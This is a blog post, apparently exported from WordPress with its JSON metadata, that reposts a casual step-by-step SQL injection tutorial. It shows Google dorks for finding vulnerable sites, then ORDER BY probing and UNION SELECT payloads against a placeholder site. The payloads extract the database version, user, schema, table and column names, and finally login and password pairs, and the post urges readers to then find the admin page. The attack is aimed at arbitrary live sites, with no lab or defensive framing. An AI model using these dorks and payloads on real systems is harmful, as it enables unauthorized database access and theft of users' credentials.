They are 1000’s of tutorial around sql injections, some of the tutorials I found were good, some bad, some too long. But finally found something interesting to share, a bit lazy to write my own not enought time for this.<\/p>\n
Sql injection aka SQLi is way to manipulate url to inject SQL commands thru a url. Bad code = good SQLi.<\/p>\n
Feel free to comment and feed back.<\/p>\n
SQL\u00a0 Injection<\/p>\n
Right……… This is in depth tutorial with pics XD on how to do SQL injection correctly.<\/p>\n
I take it you know what SQL injection is…. The basics I mean XD you wouldn’t be here otherwise would you?<\/p>\n
Let’s get a cracking.<\/p>\n
#1.Finding vulnerable sites
\n#2.Finding amount of columns
\n#3.Getting mysql version current user
\n#4.Getting Databases
\n#5.Getting Tables
\n#6.Getting Columns
\n#7.Getting Usernames and Passwords<\/p>\n
Let’s do this mofo’s<\/p>\n
#1.<\/p>\n
You can’t SQL a site unless you first locate one, “How do we do this?”” Is the question rolling around your heads, Well…… We use something called a Dork “I beg your pardon, Do this mofo call me a dork” A Google dork XD,It’s what can be used in order to locate vulnerable sites through the google search engine.<\/p>\n
A list of common used google dorks:
\ninurl:index.php?id=
\ninurl:news.php?id=
\ninurl:category.php?id=
\ninurl:games.php?id=
\ninurl:forum.php?tid=
\ninurl:newsletter.php?id=
\ninurl:content.php?id=<\/p>\n
I’ve found my vulnerable site, Now wtf do I do……. Well the common answer to that question is to check if it’s vulnerable, In order to do this we add a ‘ at the end.<\/p>\n
So for example:
\nhttp:\/\/examplesite.com\/news\/view.php?id=828<\/p>\n
^ ^ That’s the site I found (Remember this is a example)<\/p>\n
All we do is add a ‘
\nLike so:
\nhttp:\/\/examplesite.com\/news\/view.php?id=828’<\/p>\n
We can add the ‘ before or after the numbers, It still checks if it is vulnberable.<\/p>\n
How do I know if it’s vulnerable, Well you will see something like\u00a0 this:
\nhttp:\/\/img220.imageshack.us\/img220\/6660\/sqlitut1.jpg<\/p>\n
Notice the SQL error? That is exactly what we are after, Now it’s time to move onto Step 2.<\/p>\n
#2. Finding amount of columns
\nIn order to find the ammount of columns we have to use a orderby statement, The concept behind it is pretty simple, We keep ordering by until a error is received, So….<\/p>\n
http:\/\/examplesite.com\/news\/view.php?id=828 order by 1– (page loads normal)
\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 2– (page loads normal)
\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 3– (page loads normal)
\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 4– (page loads normal)
\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 5– (page loads normal)
\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 6– (page loads normal)
\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 7– (page loads normal)
\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 8– (page loads normal)
\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 9– (error)<\/p>\n
(Don’t actually but the page loads normal part) I was just showing you how it shows a error)<\/p>\n
Alright so we received a error on column 9, This means we have 8 columns, “But you received the error on 9?” Yes true, But every page before that loaded fine, So it’s 8 columns.<\/p>\n
So you’ve found out how many columns it is now what is next?<\/p>\n
Next is union select statements,<\/p>\n
http:\/\/examplesite.com\/news\/view.php?id=-828 union select 1,2,3,4,5,6,7,8–<\/p>\n
(Make note of the hyphen before the numbers)<\/p>\n
You should see numbers on the site like so:
\nhttp:\/\/img842.imageshack.us\/img842\/5738\/sqlitut2.jpg<\/p>\n
This proves to us, That this site is vulnerable to SQL injection, Now it’s time we #3 mofo’s XD.<\/p>\n
#3. Getting MySQL version and Current User
\nSo we’ve worked out the columns and displayed the column numbers on the screen, Next is getting the SQL version and the current user.<\/p>\n
To do these we use this SQL command:
\nhttp:\/\/examplesite.com\/news\/view.php?id=-828 union select 1,2,@@version,4,5,6,7,8–<\/p>\n
(Make note that we’ve used column 3 to display the SQL version)
\nhttp:\/\/img823.imageshack.us\/img823\/8895\/sqlitut3.jpg<\/p>\n
5.0.22 this mofo site is vulnerable, (if its under 4 then you have to guess tables and columns) Majority are over 5 anyway.<\/p>\n
Next, Let’s get the current user on this thing, To do that we type in:<\/p>\n
http:\/\/examplesite.com\/news\/view.php?id=-828 union select 1,2,user(),4,5,6,7,8–<\/p>\n
Notice the user() command? The same place in which we put @@version number before?<\/p>\n
If you’ve done correctly you should see something like this:
\nhttp:\/\/img690.imageshack.us\/img690\/611\/sqlitut4.jpg<\/p>\n
Now comes the interesting stuff………. Let’s hit up part #4.<\/p>\n
#4. Getting Databases
\nNow is the cool stuff we now want to get the database and the current database, To do this we use:<\/p>\n
http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,group_concat(schema_name),4,5,6,7,8 from+information_schema.schemata–<\/p>\n
Notice the group_concat(schema_name) is in number 3 again? This will display the information we are after:<\/p>\n
http:\/\/img864.imageshack.us\/img864\/1689\/sqlitut5.jpg<\/p>\n
The current database, It’s pretty obvious but hey…. comes in handy XD,<\/p>\n
To view the current database use this syntax:<\/p>\n
http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,database(),4,5,6,7,8<\/p>\n
You should receive something like this:
\nhttp:\/\/img194.imageshack.us\/img194\/7368\/sqlitut6.jpg<\/p>\n
Like I said, Pretty obvious haha<\/p>\n
So we’ve worked out the database name, Now we want those mofo tables, Let’s move onto #5.<\/p>\n
#5. Getting Tables
\nIn order to get the tables we will continue using that handy union select command,<\/p>\n
http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()–<\/p>\n
Before we move on, I want you to study that syntax, take note of the commands used there, The database etc etc.<\/p>\n
If you’ve done that correctly you should receive something like this:
\nhttp:\/\/img830.imageshack.us\/img830\/3971\/sqlitut7.jpg<\/p>\n
I’ve put a box round the user table, Cause well……. You don’t SQL a site without wanting to get the user table XD<\/p>\n
Judging from the other tables, I can safely say the passwords and users will all be in the bpuser table, Scribble this name down and let’s move on to part #6.<\/p>\n
#6. Getting Columns
\nSo we’ve found our user table now we want the columns out of it, How do we do this you ask, Well… It’s pretty simple.<\/p>\n
http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_schema=database()–<\/p>\n
As before, I want you to read through the syntax, Try and understand what everything is doing in there?<\/p>\n
Right… If you have done that correctly, You should receive something like this:
\nhttp:\/\/img24.imageshack.us\/img24\/8813\/sqlitut8.jpg<\/p>\n
Notice the 2 tables I’ve highlighted? These contain the info we want for gaining access XD.<\/p>\n
#7. Dumping users\/pass
\nSo you’ve found your site, Found the columns,database,tables etc etc now I bet you wanna pwn this mofo, So now we are going to dump the info from login and password, To do this we simply:<\/p>\n
http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,group_concat(login,0x3a,password,0x3a),4,5,6,7,8 from bpusers–<\/p>\n
Right this syntax is a lot more complex than the others, Therefore as before, Read through it and try to work out what is being done?<\/p>\n
(NOTE: 0x3a will make a : between logins and passwords.)<\/p>\n
If you’ve done this correctly you should receive something similar to this:
\nhttp:\/\/img145.imageshack.us\/img145\/4508\/sqlitut9.jpg<\/p>\n
YEAH!!!!!!! there is that mofo admin’s details.<\/p>\n
Congratulations, You have now officially ‘parred’ the site, Now all is required is to find the admin page.<\/p>\n
Tu
\nEnjoy and happy SQL ing<\/p>\n","protected":false},"excerpt":{"rendered":"
They are 1000’s of tutorial around sql injections, some of the tutorials I found were good, some bad, some too long. But finally found something interesting to share, a bit…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_robots_follow":"","_seopress_robots_imageindex":"","_seopress_robots_snippet":"","_seopress_robots_primary_cat":"","_seopress_robots_breadcrumbs":"","_seopress_robots_freeze_modified_date":"","_seopress_robots_custom_modified_date":"","_seopress_robots_canonical":"","_seopress_social_fb_title":"","_seopress_social_fb_desc":"","_seopress_social_fb_img":"","_seopress_social_fb_img_attachment_id":0,"_seopress_social_fb_img_width":0,"_seopress_social_fb_img_height":0,"_seopress_social_twitter_title":"","_seopress_social_twitter_desc":"","_seopress_social_twitter_img":"","_seopress_social_twitter_img_attachment_id":0,"_seopress_social_twitter_img_width":0,"_seopress_social_twitter_img_height":0,"_seopress_redirections_value":"","_seopress_redirections_enabled":"","_seopress_redirections_enabled_regex":"","_seopress_redirections_logged_status":"","_seopress_redirections_param":"","_seopress_redirections_type":0,"_seopress_analysis_target_kw":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[764,3],"tags":[],"class_list":["post-2899","post","type-post","status-publish","format-standard","hentry","category-lulz","category-security"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-KL","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/2899","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=2899"}],"version-history":[{"count":2,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/2899\/revisions"}],"predecessor-version":[{"id":2901,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/2899\/revisions\/2901"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=2899"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=2899"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=2899"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}